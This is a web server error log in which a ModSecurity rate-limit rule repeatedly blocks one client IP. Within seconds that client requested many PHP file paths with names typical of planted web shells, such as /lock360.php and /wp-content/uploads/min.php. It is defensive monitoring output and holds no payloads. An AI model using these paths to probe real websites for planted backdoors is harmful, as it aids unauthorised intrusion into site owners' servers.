[Sat May 23 20:50:25.115922 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1096] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "ahGikXTIgjSDhiZmvlXuGAAAAE8"]
[Sat May 23 20:50:25.415821 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1448] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/classwithtostring.php"] [unique_id "ahGikXTIgjSDhiZmvlXuGQAAAEw"]
[Sat May 23 20:50:25.727266 2026] [:error] [pid 30942:tid 31013] [client 4.213.99.137:1095] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahGikdUosz64YFiBlG11ZAAAAIo"]
[Sat May 23 20:50:26.140203 2026] [:error] [pid 25876:tid 25884] [client 4.213.99.137:1104] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahGikgSpWUCKPezIBJCtrwAAAQY"]
[Sat May 23 20:50:26.474398 2026] [:error] [pid 44296:tid 44319] [client 4.213.99.137:1203] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahGikpdrUdFI6ijvMkmMHAAAAVU"]
[Sat May 23 20:50:26.768543 2026] [:error] [pid 25876:tid 25888] [client 4.213.99.137:1119] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahGikgSpWUCKPezIBJCtsQAAAQo"]
[Sat May 23 20:50:27.055452 2026] [:error] [pid 30940:tid 30965] [client 4.213.99.137:1518] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "ahGik5qUP2XZmzp7RDoMpwAAABA"]
[Sat May 23 20:50:27.333870 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1496] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "ahGik3TIgjSDhiZmvlXuIAAAAEg"]
[Sat May 23 20:50:27.607774 2026] [:error] [pid 30941:tid 30976] [client 4.213.99.137:1102] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "ahGik3TIgjSDhiZmvlXuIQAAAEA"]
[Sat May 23 20:50:27.991905 2026] [:error] [pid 25876:tid 25898] [client 4.213.99.137:1112] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "ahGikwSpWUCKPezIBJCtsgAAARQ"]
[Sat May 23 20:50:28.451758 2026] [:error] [pid 30942:tid 31003] [client 4.213.99.137:1090] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "ahGilNUosz64YFiBlG11aAAAAIA"]
[Sat May 23 20:50:28.807857 2026] [:error] [pid 44325:tid 44346] [client 4.213.99.137:1116] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "ahGilFgUQb4puB_2yV8lZgAAAZI"]
[Sat May 23 20:50:29.142156 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1442] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "ahGilXTIgjSDhiZmvlXuJAAAAE8"]
[Sat May 23 20:50:29.551830 2026] [:error] [pid 44325:tid 44340] [client 4.213.99.137:1435] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php.php"] [unique_id "ahGilVgUQb4puB_2yV8lZwAAAYw"]
[Sat May 23 20:50:29.853522 2026] [:error] [pid 30942:tid 31015] [client 4.213.99.137:1459] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "ahGildUosz64YFiBlG11aQAAAIw"]
[Sat May 23 20:50:30.168997 2026] [:error] [pid 25876:tid 25882] [client 4.213.99.137:1388] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "ahGilgSpWUCKPezIBJCttAAAAQQ"]
[Sat May 23 20:50:30.528301 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1405] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "ahGilnTIgjSDhiZmvlXuJgAAAEQ"]
[Sat May 23 20:50:30.846358 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1101] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "ahGilnTIgjSDhiZmvlXuKAAAAFY"]
[Sat May 23 20:50:31.121007 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1484] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "ahGil3TIgjSDhiZmvlXuLAAAAEs"]
[Sat May 23 20:50:31.443839 2026] [:error] [pid 25876:tid 25900] [client 4.213.99.137:1151] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "ahGilwSpWUCKPezIBJCttgAAARY"]
[Sat May 23 20:50:31.720914 2026] [:error] [pid 31039:tid 31047] [client 4.213.99.137:1210] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "ahGil6IYDYo8WvA5zLJF-wAAAMY"]
[Sat May 23 20:50:32.003313 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1455] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/min.php"] [unique_id "ahGimHTIgjSDhiZmvlXuLQAAAE8"]
[Sat May 23 20:50:32.479785 2026] [:error] [pid 44296:tid 44299] [client 4.213.99.137:1935] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "ahGimJdrUdFI6ijvMkmMHwAAAUE"]
[Sat May 23 20:50:32.759637 2026] [:error] [pid 44325:tid 44338] [client 4.213.99.137:1118] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "ahGimFgUQb4puB_2yV8lagAAAYo"]
[Sat May 23 20:50:33.040953 2026] [:error] [pid 25876:tid 25902] [client 4.213.99.137:1103] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "ahGimQSpWUCKPezIBJCtuAAAARg"]
[Sat May 23 20:50:33.364594 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1506] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoom1.php"] [unique_id "ahGimcyrPrcAqE-FOKKfxAAAAcM"]
[Sat May 23 20:50:33.788275 2026] [:error] [pid 30942:tid 31012] [client 4.213.99.137:1117] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ahGimdUosz64YFiBlG11awAAAIk"]
[Sat May 23 20:50:34.170527 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1476] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ahGimnTIgjSDhiZmvlXuLwAAAFg"]
[Sat May 23 20:50:34.545599 2026] [:error] [pid 25876:tid 25901] [client 4.213.99.137:1439] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ahGimgSpWUCKPezIBJCtugAAARc"]
[Sat May 23 20:50:34.911791 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:1430] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "ahGimlgUQb4puB_2yV8lbQAAAY8"]
[Sat May 23 20:50:35.301829 2026] [:error] [pid 31039:tid 31054] [client 4.213.99.137:1148] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ahGim6IYDYo8WvA5zLJF_gAAAM0"]
[Sat May 23 20:50:35.660281 2026] [:error] [pid 25876:tid 25886] [client 4.213.99.137:2030] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ahGimwSpWUCKPezIBJCtvAAAAQg"]
[Sat May 23 20:50:35.936411 2026] [:error] [pid 30942:tid 31019] [client 4.213.99.137:1133] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ahGim9Uosz64YFiBlG11bQAAAJA"]
[Sat May 23 20:50:36.227510 2026] [:error] [pid 30940:tid 30956] [client 4.213.99.137:1922] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "ahGinJqUP2XZmzp7RDoMqgAAAAc"]
[Sat May 23 20:50:36.632074 2026] [:error] [pid 30942:tid 31006] [client 4.213.99.137:1480] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "ahGinNUosz64YFiBlG11cAAAAIM"]
[Sat May 23 20:50:37.065080 2026] [:error] [pid 44326:tid 44379] [client 4.213.99.137:1499] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "ahGincyrPrcAqE-FOKKfygAAAdg"]
[Sat May 23 20:50:37.350295 2026] [:error] [pid 31039:tid 31044] [client 4.213.99.137:1509] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "ahGinaIYDYo8WvA5zLJGAAAAAMM"]
[Sat May 23 20:50:37.680519 2026] [:error] [pid 44326:tid 44361] [client 4.213.99.137:1141] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "ahGincyrPrcAqE-FOKKfzQAAAcY"]
[Sat May 23 20:50:37.995534 2026] [:error] [pid 25876:tid 25879] [client 4.213.99.137:1099] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "ahGinQSpWUCKPezIBJCtvQAAAQE"]
[Sat May 23 20:50:38.312935 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1389] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "ahGinsyrPrcAqE-FOKKfzgAAAcI"]
[Sat May 23 20:50:38.596353 2026] [:error] [pid 25876:tid 25894] [client 4.213.99.137:1521] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "ahGingSpWUCKPezIBJCtvgAAARA"]
[Sat May 23 20:50:38.891115 2026] [:error] [pid 30940:tid 30969] [client 4.213.99.137:1454] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "ahGinpqUP2XZmzp7RDoMrAAAABQ"]
[Sat May 23 20:50:39.561955 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:1440] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ahGin3TIgjSDhiZmvlXuMgAAAEI"]
[Sat May 23 20:50:40.003214 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1126] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ahGioHTIgjSDhiZmvlXuNAAAAFM"]
[Sat May 23 20:50:40.475919 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1138] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ahGioHTIgjSDhiZmvlXuNQAAAEw"]
[Sat May 23 20:50:40.903651 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1525] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ahGioHTIgjSDhiZmvlXuNwAAAEo"]
[Sat May 23 20:50:41.198460 2026] [:error] [pid 30940:tid 30971] [client 4.213.99.137:1098] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "ahGioZqUP2XZmzp7RDoMrwAAABY"]
[Sat May 23 20:50:41.601117 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:1469] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "ahGioQSpWUCKPezIBJCtwAAAARM"]
[Sat May 23 20:50:42.143996 2026] [:error] [pid 30940:tid 30962] [client 4.213.99.137:1150] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "ahGiopqUP2XZmzp7RDoMsQAAAA0"]
[Sat May 23 20:50:42.452191 2026] [:error] [pid 30940:tid 30972] [client 4.213.99.137:1147] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "ahGiopqUP2XZmzp7RDoMswAAABc"]
[Sat May 23 20:50:43.017385 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:1942] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vc.php"] [unique_id "ahGio8yrPrcAqE-FOKKf0AAAAcs"]
[Sat May 23 20:50:43.321215 2026] [:error] [pid 30941:tid 30976] [client 4.213.99.137:1190] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vc.php"] [unique_id "ahGio3TIgjSDhiZmvlXuPwAAAEA"]
[Sat May 23 20:50:43.679838 2026] [:error] [pid 30942:tid 31003] [client 4.213.99.137:1478] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vc.php"] [unique_id "ahGio9Uosz64YFiBlG11cwAAAIA"]
[Sat May 23 20:50:43.957685 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1108] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vc.php"] [unique_id "ahGio8yrPrcAqE-FOKKf0QAAAc8"]
[Sat May 23 20:50:44.263124 2026] [:error] [pid 30942:tid 31015] [client 4.213.99.137:1415] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/admin.php"] [unique_id "ahGipNUosz64YFiBlG11dAAAAIw"]
[Sat May 23 20:50:44.721340 2026] [:error] [pid 25876:tid 25902] [client 4.213.99.137:1479] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/admin.php"] [unique_id "ahGipASpWUCKPezIBJCtxwAAARg"]
